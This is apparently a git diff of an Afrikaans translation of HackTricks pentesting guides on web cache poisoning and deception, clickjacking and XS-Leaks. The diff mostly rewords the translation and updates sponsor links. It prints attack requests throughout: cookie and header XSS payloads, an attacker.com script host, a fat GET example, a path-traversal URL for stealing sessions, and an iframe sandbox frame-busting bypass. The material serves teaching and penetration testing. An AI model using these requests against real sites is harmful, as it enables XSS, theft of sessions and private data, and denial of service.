die kache vergiftig sodat almal wat die bladsy besoek, met XSS geïnfekteer sal word: +'n Header soos `X-Forwarded-For` word ongesaniteer weerspieël in die reaksie.\ +Jy kan 'n basiese XSS-lading stuur en die kas vergiftig sodat almal wat die bladsy besoek, met XSS geïnfekteer sal word: ```markup GET /en?region=uk HTTP/1.1 Host: innocent-website.com @@ -104,13 +104,13 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` Merk op dat as die kwesbare koekie baie deur die gebruikers gebruik word, sal gereelde versoeke die cache skoonmaak. -### Kegvergiftiging met padtraversal om API-sleutel te steel +### Cache vergiftiging met padtraversal om API-sleutel te steel -[**Hierdie uiteensetting verduidelik**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) hoe dit moontlik was om 'n OpenAI API-sleutel te steel met 'n URL soos `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` omdat enigiets wat ooreenstem met `/share/*` sal gelaai word sonder dat Cloudflare die URL normaliseer, wat gedoen is toe die versoek die webbediener bereik het. +[**Hierdie uiteensetting verduidelik**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) hoe dit moontlik was om 'n OpenAI API-sleutel te steel met 'n URL soos `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` omdat enigiets wat ooreenstem met `/share/*` gelaai sal word sonder dat Cloudflare die URL normaliseer, wat gedoen is toe die versoek die webbediener bereik het. -### Gebruik van meervoudige koppe om webkagie-vergiftigingskwesbaarhede te misbruik +### Gebruik van meervoudige koppe om webkachevergiftigingskwesbaarhede te benut -Soms sal jy **verskeie ongesleutelde insette moet misbruik** om 'n kagie te kan misbruik. Byvoorbeeld, jy mag 'n **Oop herleiing** vind as jy `X-Forwarded-Host` instel op 'n domein wat deur jou beheer word en `X-Forwarded-Scheme` op `http`. **As** die **bediener** al die **HTTP** versoeke **na HTTPS deurstuur** en die kop `X-Forwarded-Scheme` gebruik as die domeinnaam vir die herleiing. Jy kan beheer waarheen die bladsy deur die herleiing gewys word. +Soms sal jy **verskeie ongesleutelde insette moet benut** om 'n kache te misbruik. Byvoorbeeld, jy mag 'n **Oop herleiing** vind as jy `X-Forwarded-Host` instel op 'n domein wat deur jou beheer word en `X-Forwarded-Scheme` op `http`. **As** die **bediener** al die **HTTP** versoeke **na HTTPS deurstuur** en die kop `X-Forwarded-Scheme` gebruik as die domeinnaam vir die herleiing. Jy kan beheer waarheen die bladsy deur die herleiing gewys word. ```markup GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net @@ -119,7 +119,7 @@ X-Forwarded-Scheme: http ``` ### Uitbuiting met beperkte `Vary`-kop -Indien jy gevind het dat die **`X-Host`**-kop gebruik word as **domeinnaam om 'n JS-hulpbron te laai** maar die **`Vary`**-kop in die respons aandui **`User-Agent`**. Dan moet jy 'n manier vind om die User-Agent van die slagoffer te eksfileer en die cache te vergiftig deur daardie gebruikeragent te gebruik: +Indien jy vind dat die **`X-Host`**-kop gebruik word as **domeinnaam om 'n JS-hulpbron te laai** maar die **`Vary`**-kop in die respons aandui **`User-Agent`**. Dan moet jy 'n manier vind om die User-Agent van die slagoffer te eksfiltreer en die cache te vergiftig deur daardie gebruikeragent te gebruik: ```markup GET / HTTP/1.1 Host: vulnerbale.net @@ -128,7 +128,7 @@ X-Host: attacker.com ``` ### Vet Kry -Stuur 'n GET versoek met die versoek in die URL en in die liggaam. As die webbediener die een uit die liggaam gebruik, maar die skyfbediener die een uit die URL kesh, sal enigeen wat daardie URL benader, eintlik die parameter uit die liggaam gebruik. Soos die kwesbaarheid wat James Kettle by die Github-webwerf gevind het: +Stuur 'n GET versoek met die versoek in die URL en in die liggaam. As die webbediener die een uit die liggaam gebruik, maar die tuisbediener die een uit die URL kies, sal enigeen wat daardie URL benader eintlik die parameter uit die liggaam gebruik. Soos die kwesbaarheid wat James Kettle by die Github-webwerf gevind het: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -137,19 +137,21 @@ Content-Length: 22 report=innocent-victim ``` +Daar is 'n portswigger-lab oor hierdie: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) + ### Parameter Versteek -Byvoorbeeld, dit is moontlik om **parameters** in ruby bedieners te skei deur die karakter **`;`** te gebruik in plaas van **`&`**. Dit kan gebruik word om ongesleutelde parameterwaardes binne gesleutelde waardes te plaas en hulle te misbruik. +Byvoorbeeld is dit moontlik om **parameters** in ruby-bedieners te skei deur die karakter **`;`** te gebruik in plaas van **`&`**. Dit kan gebruik word om nie-gekenmerkte parameterwaardes binne gekenmerkte waardes te plaas en dit te misbruik. Portswigger-lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) -### Uitbuiting van HTTP Cache Vergiftiging deur die misbruik van HTTP Aanvraag Smokkelary +### Uitbuiting van HTTP-cachevergiftiging deur misbruik te maak van HTTP-aanvraagsmokkelary -Leer hier oor hoe om [Cache Vergiftigingsaanvalle uit te voer deur die misbruik van HTTP Aanvraag Smokkelary](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning). +Leer hier oor hoe om [Cache-vergiftigingsaanvalle uit te voer deur misbruik te maak van HTTP-aanvraagsmokkelary](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning). -### Geoutomatiseerde toetsing vir Web Cache Vergiftiging +### Geoutomatiseerde toetsing vir Web Cache-vergiftiging -Die [Web Cache Kwetsbaarheidsskandeerder](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) kan gebruik word om outomaties te toets vir web cache vergiftiging. Dit ondersteun baie verskillende tegnieke en is hoogs aanpasbaar. +Die [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) kan gebruik word om outomaties te toets vir web-cachevergiftiging. Dit ondersteun baie verskillende tegnieke en is hoogs aanpasbaar. Voorbeeldgebruik: `wcvs -u example.com` @@ -158,56 +160,56 @@ Voorbeeldgebruik: `wcvs -u example.com`
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werksvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) om maklik werkstrome te bou en te outomatiseer wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ Kry Vandag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %} ## Kwesbare Voorbeelde -### Apache Verkeerbediener ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) +### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) -ATS het die fragment binne die URL deurgestuur sonder om dit te stroop en het die cache sleutel slegs gegenereer deur die gasheer, pad en navraag te gebruik (ignorerend die fragment). Dus is die versoek `/#/../?r=javascript:alert(1)` na die agterste stuur as `/#/../?r=javascript:alert(1)` en het die cache sleutel nie die lading binne dit gehad nie, slegs gasheer, pad en navraag. +ATS het die fragment binne die URL deurgestuur sonder om dit te stroop en het die cache-sleutel slegs gegenereer deur die gasheer, pad en navraag te gebruik (ignorerend die fragment). Dus is die versoek `/#/../?r=javascript:alert(1)` na die agterste stuur as `/#/../?r=javascript:alert(1)` en het die cache-sleutel nie die lading binne nie, net gasheer, pad en navraag. ### GitHub CP-DoS -Die stuur van 'n slegte waarde in die inhoudstipe-kop het 'n 405 gekaapte antwoord geaktiveer. Die cache sleutel het die koekie bevat, sodat dit moontlik was om slegs ongeagte gebruikers aan te val. +Die stuur van 'n slegte waarde in die inhoudstipe-kop het 'n 405 gekaapte reaksie geaktiveer. Die cache-sleutel het die koekie bevat, sodat dit moontlik was om net aanvalle op ongeagte gebruikers uit te voer. ### GitLab + GCP CP-DoS -GitLab gebruik GCP-emmers om statiese inhoud te stoor. **GCP-emmers** ondersteun die **kop `x-http-method-override`**. Dit was dus moontlik om die kop `x-http-method-override: HEAD` te stuur en die cache te vergiftig om 'n leë antwoordliggaam terug te gee. Dit kon ook die metode `PURGE` ondersteun. +GitLab gebruik GCP-emmers om statiese inhoud te stoor. **GCP-emmers** ondersteun die **kop `x-http-method-override`**. Dit was dus moontlik om die kop `x-http-method-override: HEAD` te stuur en die cache te vergiftig om 'n leë reaksie liggaam terug te gee. Dit kon ook die metode `PURGE` ondersteun. ### Rak Middleware (Ruby on Rails) -In Ruby on Rails-aansoeke word Rak-middelware dikwels gebruik. Die doel van die Rak-kode is om die waarde van die **`x-forwarded-scheme`**-kop te neem en dit as die versoek se skema in te stel. Wanneer die kop `x-forwarded-scheme: http` gestuur word, vind 'n 301 herlei na dieselfde plek plaas, wat moontlik 'n Diensverleningsaanval (DoS) op daardie hulpbron kan veroorsaak. Daarbenewens kan die aansoek die `X-forwarded-host`-kop erken en gebruikers na die gespesifiseerde gasheer herlei. Hierdie gedrag kan lei tot die laai van JavaScript-lêers van 'n aanvaller se bediener, wat 'n sekuriteitsrisiko inhou. +In Ruby on Rails-aansoeke word Rak-middelware dikwels gebruik. Die doel van die Rak-kode is om die waarde van die **`x-forwarded-scheme`**-kop te neem en dit as die versoek se skema in te stel. Wanneer die kop `x-forwarded-scheme: http` gestuur word, vind 'n 301-omleiding na dieselfde plek plaas, wat moontlik 'n Diensofverlening (DoS) aan daardie hulpbron kan veroorsaak. Daarbenewens kan die aansoek die `X-forwarded-host`-kop erken en gebruikers na die gespesifiseerde gasheer omleid. Hierdie gedrag kan lei tot die laai van JavaScript-lêers van 'n aanvaller se bediener, wat 'n sekuriteitsrisiko inhou. -### 403 en Stoor Emmer +### 403 en Stoor-emmers -Cloudflare het vroeër 403-antwoorde gekaap. 'n Poging om S3- of Azure Stoorblokke met ongeldige Toestemmingskoppe te benader, sou 'n 403-antwoord wat gekaap is, tot gevolg hê. Alhoewel Cloudflare opgehou het om 403-antwoorde te kies, kan hierdie gedrag nog steeds teenwoordig wees in ander proksi-diens. +Cloudflare het vroeër 403-reaksies gekaap. 'n Poging om S3- of Azure-stoor-emmers met ongeldige Toestemmingskoppe te benader, sou 'n 403-reaksie tot gevolg hê wat gekaap is. Alhoewel Cloudflare opgehou het om 403-reaksies te kies, kan hierdie gedrag nog steeds teenwoordig wees in ander proksi-diens. -### Injekteer Gesleutelde Parameters +### Injeksie van Gekenmerkte Parameters -Cache sluit dikwels spesifieke GET-parameterwaardes in die cache sleutel in. Byvoorbeeld, Fastly se Varnish het die `grootte`-parameter in versoekinge gekaap. As 'n URL-gekodeerde weergawe van die parameter (bv., `siz%65`) ook met 'n foutiewe waarde gestuur is, sou die cache sleutel opgestel word deur die korrekte `grootte`-parameter te gebruik. Tog sou die agterste die waarde in die URL-gekodeerde parameter verwerk. Die URL-kodering van die tweede `grootte`-parameter het tot sy weglaat deur die cache gelei, maar sy gebruik deur die agterste. Die toekenning van 'n waarde van 0 aan hierdie parameter het gelei tot 'n kiesbare 400 Foutversoek-fout. +Cache sluit dikwels spesifieke GET-parameterwaardes in die cache-sleutel in. Byvoorbeeld, Fastly se Varnish het die `grootte`-parameter in versoekings gekaap. As 'n URL-gekodeerde weergawe van die parameter (bv., `siz%65`) ook met 'n foutiewe waarde gestuur is, sou die cache-sleutel opgestel word deur die korrekte `grootte`-parameter te gebruik. Tog sou die agterste waarde in die URL-gekodeerde parameter verwerk word. Die URL-kodering van die tweede `grootte`-parameter het tot sy uitsluiting deur die cache gelei, maar sy gebruik deur die agterste. Die toekenning van 'n waarde van 0 aan hierdie parameter het 'n kiesbare 400 Foutversoek-fout tot gevolg gehad. ### Gebruikeragentreëls -Sommige ontwikkelaars blokkeer versoekinge met gebruiker-agente wat ooreenstem met dié van hoë-verkeer-hulpmiddels soos FFUF of Nuclei om bedienerslas te bestuur. Ironies genoeg kan hierdie benadering kwesbaarhede soos cache vergiftiging en DoS inbring. +Sommige ontwikkelaars blokkeer versoekings met gebruikers-agente wat ooreenstem met dié van hoë-verkeer-hulpmiddels soos FFUF of Nuclei om bedienerslas te bestuur. Ironies genoeg kan hierdie benadering kwesbaarhede soos cache-vergiftiging en DoS inbring. -### Onwettige Kopvelde +### Onwettige Kopvelvelde -Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spesifiseer die aanvaarbare karakters in kopnaam. Koppe wat karakters buite die gespesifiseerde **tchar**-reeks bevat, behoort ideaal gesproke 'n 400 Foutversoek-antwoord te aktiveer. In die praktyk hou bedieners nie altyd by hierdie standaard nie. 'n Noemenswaardige voorbeeld is Akamai, wat koppe met ongeldige karakters deurstuur en enige 400-fout kies, solank die `cache-control`-kop nie teenwoordig is nie. 'n Uitbuitbare patroon is geïdentifiseer waar die stuur van 'n kop met 'n onwettige karakter, soos `\`, sou lei tot 'n kiesbare 400 Foutversoek-fout. +Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spesifiseer die aanvaarbare karakters in kopnaam. Koppe wat karakters buite die gespesifiseerde **tchar**-reeks bevat, behoort idealiter 'n 400 Foutversoek-reaksie te aktiveer. In die praktyk hou bedieners nie altyd aan hierdie standaard nie. 'n Noemenswaardige voorbeeld is Akamai, wat koppe met ongeldige karakters deurstuur en enige 400-fout kies, solank die `cache-control`-kop nie teenwoordig is nie. 'n Uitbuitbare patroon is geïdentifiseer waar die stuur van 'n kop met 'n onwettige karakter, soos `\`, sou lei tot 'n kiesbare 400 Foutversoek-fout. ### Nuwe koppe vind [https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6) -## Cache Misleiding +## Cache Bedrog -Die doel van Cache Misleiding is om kliënte **hulpbronne te laat laai wat deur die cache met hul sensitiewe inligting gestoor gaan word**. +Die doel van Cache Bedrog is om kliënte **hulpbronne te laat laai wat deur die cache met hul sensitiewe inligting gestoor gaan word**. -Eerstens, let daarop dat **uitbreidings** soos `.css`, `.js`, `.png` ens gewoonlik **gekonfigureer** is om in die **cache gestoor** te word. Daarom, as jy `www.example.com/profile.php/nonexistent.js` besoek, sal die cache waarskynlik die antwoord stoor omdat dit die `.js` **uitbreiding** sien. Maar, as die **toepassing** met die **sensitiewe** gebruikersinhoud wat gestoor is in _www.example.com/profile.php_ herhaal word, kan jy daardie inhoud van ander gebruikers **steel**. +Eerstens, let daarop dat **uitbreidings** soos `.css`, `.js`, `.png` ens. gewoonlik **gekonfigureer** is om in die **cache gestoor** te word. Daarom, as jy `www.example.com/profile.php/nonexistent.js` besoek, sal die cache waarskynlik die reaksie stoor omdat dit die `.js` **uitbreiding** sien. Maar, as die **toepassing** met die **sensitiewe** gebruikersinhoud wat gestoor is in _www.example.com/profile.php_ herhaal, kan jy daardie inhoud van ander gebruikers **steel**. Ander dinge om te toets: @@ -219,15 +221,15 @@ Ander dinge om te toets: * _Gebruik minder bekende uitbreidings soos_ `.avif` 'n Baie duidelike voorbeeld kan gevind word in hierdie skrywe: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ -In die voorbeeld word verduidelik dat as jy 'n nie-bestaande bladsy laai soos _http://www.example.com/home.php/non-existent.css_ die inhoud van _http://www.example.com/home.php_ (**met die gebruiker se sensitiewe inligting**) teruggegee gaan word en die cache-bedienaar gaan die resultaat stoor.\ +In die voorbeeld word verduidelik dat as jy 'n nie-bestaande bladsy laai soos _http://www.example.com/home.php/non-existent.css_ die inhoud van _http://www.example.com/home.php_ (**met die gebruiker se sensitiewe inligting**) gaan teruggebring word en die cache-bediener gaan die resultaat stoor.\ Dan kan die **aanvaller** _http://www.example.com/home.php/non-existent.css_ in hul eie blaaier toegang en die **vertroulike inligting** van die gebruikers wat voorheen toegang gekry het, waarneem. -Let daarop dat die **cache-proksi** moet wees **gekonfigureer** om lêers te **stoor** gebaseer op die **uitbreiding** van die lêer (_.css_) en nie gebaseer op die inhoudstipe nie. In die voorbeeld _http://www.example.com/home.php/non-existent.css_ sal 'n `text/html` inhoudstipe hê in plaas van 'n `text/css` mime-tipe (wat die verwagte vir 'n _.css_ lêer is). +Let daarop dat die **cache-proksi** moet wees **gekonfigureer** om lêers **gebaseer** op die **uitbreiding** van die lêer (_.css_) te **stoor** en nie op die inhoudstipe nie. In die voorbeeld _http://www.example.com/home.php/non-existent.css_ sal 'n `text/html` inhoudstipe hê in plaas van 'n `text/css` mime-tipe (wat die verwagte vir 'n _.css_ lêer is). -Leer hier oor hoe om [Cache Misleidingsaanvalle te doen deur die misbruik van HTTP Aanvraag Smokkelary](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception). +Leer hier oor hoe om [Cache Bedrog-aanvalle uit te voer deur misbruik te maak van HTTP-aanvraagsmokkelary](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception). ## Outomatiese Gereedskap -* [**toxicache**](https://github.com/xhzeem/toxicache): Golang-skander om webgeheuevergiftigingskwetsbaarhede in 'n lys van URL's te vind en om verskeie inspuitingstegnieke te toets. +* [**toxicache**](https://github.com/xhzeem/toxicache): Golang-skander om webkessievergiftigingskwetsbaarhede in 'n lys van URL's te vind en om verskeie inspuitingstegnieke te toets. ## Verwysings @@ -241,10 +243,10 @@ Leer hier oor hoe om [Cache Misleidingsaanvalle te doen deur die misbruik van HT
\ -Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsgereedskappe.\ +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) om maklik **werkstrome te bou** en te **outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsgereedskap.\ Kry Vandag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
@@ -252,10 +254,10 @@ Kry Vandag Toegang: Ander maniere om HackTricks te ondersteun: -* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! +* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family) +* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
diff --git a/pentesting-web/clickjacking.md b/pentesting-web/clickjacking.md index 62a428dc8..f5cc62ebb 100644 --- a/pentesting-web/clickjacking.md +++ b/pentesting-web/clickjacking.md @@ -2,7 +2,7 @@
-Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: @@ -10,17 +10,17 @@ Ander maniere om HackTricks te ondersteun: * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag. +* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou en outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) om maklik **werkstrome te bou en outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ Kry Vandag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %} ## Wat is Clickjacking @@ -32,7 +32,7 @@ Soms is dit moontlik om die waarde van velde van 'n vorm te **vul deur GET-param ### Vul vorm met Sleep & Plaas -As jy wil hê dat die gebruiker 'n vorm moet **voltooi** maar jy wil hom nie direk vra om sekere inligting te skryf (soos die e-pos en/of spesifieke wagwoord wat jy weet nie), kan jy hom net vra om iets te **Sleep & Plaas** wat jou beheerde data sal skryf soos in [**hierdie voorbeeld**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/). +As jy wil hê dat die gebruiker 'n vorm moet **voltooi** maar jy wil hom nie direk vra om spesifieke inligting te skryf (soos die e-pos en of spesifieke wagwoord wat jy weet nie), kan jy hom net vra om iets te **Sleep & Plaas** wat jou beheerde data sal skryf soos in [**hierdie voorbeeld**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/). ### Basiese Lading ```markup @@ -125,20 +125,20 @@ Skripte wat aan die kliëntkant uitgevoer word, kan aksies uitvoer om Clickjacki * Voorkom kliek op onsigbare rame. * Opmerk en waarsku gebruikers van potensiële Clickjacking-pogings. -Nietemin kan hierdie rambreukskripte omseil word: +Hierdie rambreukskripte kan egter omseil word: * **Webblaaier se Sekuriteitsinstellings:** Sommige webblaaier kan hierdie skripte blokkeer op grond van hul sekuriteitsinstellings of gebrek aan JavaScript-ondersteuning. -* **HTML5 iframe `sandbox` Kenmerk:** 'n Aanvaller kan rambreukskripte neutraliseer deur die `sandbox` kenmerk met `allow-forms` of `allow-scripts` waardes sonder `allow-top-navigation` in te stel. Dit voorkom dat die iframe verifieer of dit die boonste venster is, bv., +* **HTML5 iframe `sandbox` Kenmerk:** 'n Aanvaller kan rambreukskripte neutraliseer deur die `sandbox` kenmerk in te stel met `allow-forms` of `allow-scripts` waardes sonder `allow-top-navigation`. Dit voorkom dat die iframe verifieer of dit die boonste venster is, bv., ```html ``` -Die `allow-forms` en `allow-scripts` waardes maak aksies binne die iframe moontlik terwyl top-level navigasie gedeaktiveer word. Om die bedoelde funksionaliteit van die geteikende webwerf te verseker, mag addisionele toestemmings soos `allow-same-origin` en `allow-modals` nodig wees, afhangende van die aanvalstipe. Blaaierkonsole-boodskappe kan aandui watter toestemmings toegelaat moet word. +Die `allow-forms` en `allow-scripts` waardes maak aksies binne die iframe moontlik terwyl top-level navigasie uitgeskakel word. Om die bedoelde funksionaliteit van die geteikende webwerf te verseker, mag addisionele toestemmings soos `allow-same-origin` en `allow-modals` nodig wees, afhangende van die aanvalstipe. Blaaierkonsole-boodskappe kan aandui watter toestemmings toegelaat moet word. ### Bedienersyverdedigings #### X-Frame-Options -Die **`X-Frame-Options` HTTP-antwoordkop** lig blaaier in oor die geldigheid van die weergawe van 'n bladsy in 'n `` of ` @@ -156,87 +156,87 @@ Daar is waargeneem dat in die afwesigheid van [Rame Beskerming](https://xsleaks. ### #ID + fout + onload * **Insluitingsmetodes**: Raamwerke -* **Opspoorbare Verskil**: Bladsy-inhoud +* **Opmerkbare Verskil**: Bladsy-inhoud * **Meer inligting**: -* **Opsomming**: As jy die bladsy 'n fout kan laat gee wanneer die korrekte inhoud benader word en dit korrek laai wanneer enige inhoud benader word, dan kan jy 'n lus maak om al die inligting te onttrek sonder om die tyd te meet. +* **Opsomming**: As jy die bladsy kan laat fout wanneer die korrekte inhoud benader word en dit korrek laai wanneer enige inhoud benader word, kan jy 'n lus maak om al die inligting te onttrek sonder om die tyd te meet. * **Kodevoorbeeld**: Stel dat jy die bladsy kan **invoeg** wat die **geheime** inhoud **binne 'n Iframe** het. -Jy kan die slagoffer laat soek na die lêer wat "_**vlag**_" bevat deur 'n **Iframe** te gebruik (deur byvoorbeeld 'n CSRF te benut). Binne die Iframe weet jy dat die _**onload-gebeurtenis**_ altyd ten minste een keer sal **uitgevoer word**. Dan kan jy die **URL** van die **iframe verander** deur net die **inhoud** van die **hekje** binne die URL te verander. +Jy kan die slagoffer laat soek na die lêer wat "_**vlag**_" bevat deur 'n **Iframe** te gebruik (deur byvoorbeeld 'n CSRF te benut). Binne die Iframe weet jy dat die _**onload-gebeurtenis**_ altyd ten minste een keer sal **uitgevoer word**. Dan kan jy die **URL** van die **iframe verander** deur net die **inhoud** van die **hek** binne die URL te verander. Byvoorbeeld: 1. **URL1**: www.attacker.com/xssearch#try1 2. **URL2**: www.attacker.com/xssearch#try2 -As die eerste URL **suksesvol gelaai** was, dan sal die **onload**-gebeurtenis **nie weer geaktiveer word** wanneer die **hekje** deel van die URL verander word nie. Maar **as** die bladsy 'n soort van **fout** gehad het tydens die **laai**, dan sal die **onload**-gebeurtenis weer **geaktiveer word**. +As die eerste URL **suksesvol gelaai** was, dan sal wanneer die **hek** deel van die URL verander word, die **onload**-gebeurtenis **nie weer geaktiveer word** nie. Maar **as** die bladsy 'n soort van **fout** gehad het tydens die **laai**, dan sal die **onload**-gebeurtenis **weer geaktiveer word**. Dan kan jy **onderskei tussen** 'n **korrek** gelaai bladsy of 'n bladsy wat 'n **fout** het wanneer dit benader word. ### Javascript-uitvoering -* **Insuittingsmetodes**: Raamwerke -* **Opsoorbare Verskil**: Bladsy-inhoud +* **Insluitingsmetodes**: Raamwerke +* **Opmerkbare Verskil**: Bladsy-inhoud * **Meer inligting**: -* **Opsomming:** As die **bladsy** die **sensitiewe** inhoud **teruggee**, **of** 'n **inhoud** wat deur die gebruiker **beheer** kan word. Die gebruiker kan **geldige JS-kode in die negatiewe geval** instel, en elke poging binne **`